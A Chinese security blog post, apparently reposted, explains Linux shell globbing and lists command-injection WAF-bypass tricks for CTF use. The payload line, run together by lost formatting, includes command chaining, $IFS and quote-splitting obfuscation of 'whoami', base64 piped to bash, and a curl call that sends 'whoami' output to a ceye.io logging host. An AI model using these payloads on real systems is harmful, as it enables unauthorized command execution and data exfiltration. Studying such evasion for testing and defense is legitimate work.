java执行linux命令_命令执行绕过之Linux通配符

11869d00f712e6eb280fba62b5dc896c.png

[命令执行,通配符,WAF绕过,linux,CTF]

前几天在微博和公众号上看到一些使用Linux通配符/glob模式来绕过命令执行的方式,感觉很不错,学习总结下。

首先先了解下什么是Linux shell 通配符/glob模式:

概念:

glob 模式(globbing)也被称之为 shell 通配符,名字的起源来自于 Unix V6 中的/etc/glob (详见 man 文档)。glob 是一种特殊的模式匹配,最常见的是通配符拓展,也可以将 glob 模式设为精简了的正则表达式,在最新的 CentOS 7 中已经删除了 glob 的相关描述文档,删除的原因由于 glob 已经整合到了 shell 之中,然后就有了 shell 通配符。shell 通配符 / glob 模式通常用来匹配目录以及文件,而不是文本!!!

语法:

ae8c94e6a6409b91031e0736296abcb3.png

专用字符集

38479fff25ff8795c8b3f378034b74aa.png
3ee0426b1eba03b2e00ecd1a438c875c.png

Linux shell 元字符,在使用通配符时如果没有进行转义可能就会被辨识为元字符

02ca7d16c44fa3eda6d746ad85ad5bc4.png
bd9e4498a27a17be68b931069815dad2.png

其他绕过方式

ls | idls ; id 在shell中,担任"连续指令"功能的符号就是"分号"ls & idls 回车 idls `id` ls ` id` 前面加了一个空格ls `id` 反斜杠 id等价于idls $(id)ls | a=i;b=d;$a$b 拼接ls | echo aWQ=| base64 -d | bash 利用base64`echo "aWQ="|base64 -d`ls | curl xxx.ceye.io/`whoami` 利用dnslog或者http web logcat<1.txtcat$IFS$91.txtcat${IFS}1.txtcat$IFS1.txt%0acat%091.txtw'h'o'am'iw"h"o"am"iwho$@amiecho i$@d|$0w$@h$@o$@a$@m$@i

注意事项

  • 在使用专属字符集的时候,字符集之外还需要用 来包含住,否则专用字符集不会生效,例如 [[:space:]]
  • 想要转义的时候,单引号与双引号使用方法是不同的,单引号会转义所有字符,而且单引号中间不允许再出现单引号,双引号允许出现特定的 shell 元字符,具体字符可以自行查询
  • 在使用花括号 {} 的时候,里面的单个字符串需要使用单引号或者双引号括住,否则就会视为多个的单个字符

Referer:

https://www.cnblogs.com/divent/archive/2016/08/11/5762154.html

https://medium.com/secjuice/waf-evasion-techniques-718026d693d8

作者: 瓦都剋

欢迎来安全脉搏查看更多的干货文章和我们一起交流互动哦!

脉搏地址:安全脉搏 | 分享技术,悦享品质

微博地址:Sina Visitor System

【注:安全脉搏所有文章未经许可,谢绝转载】

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值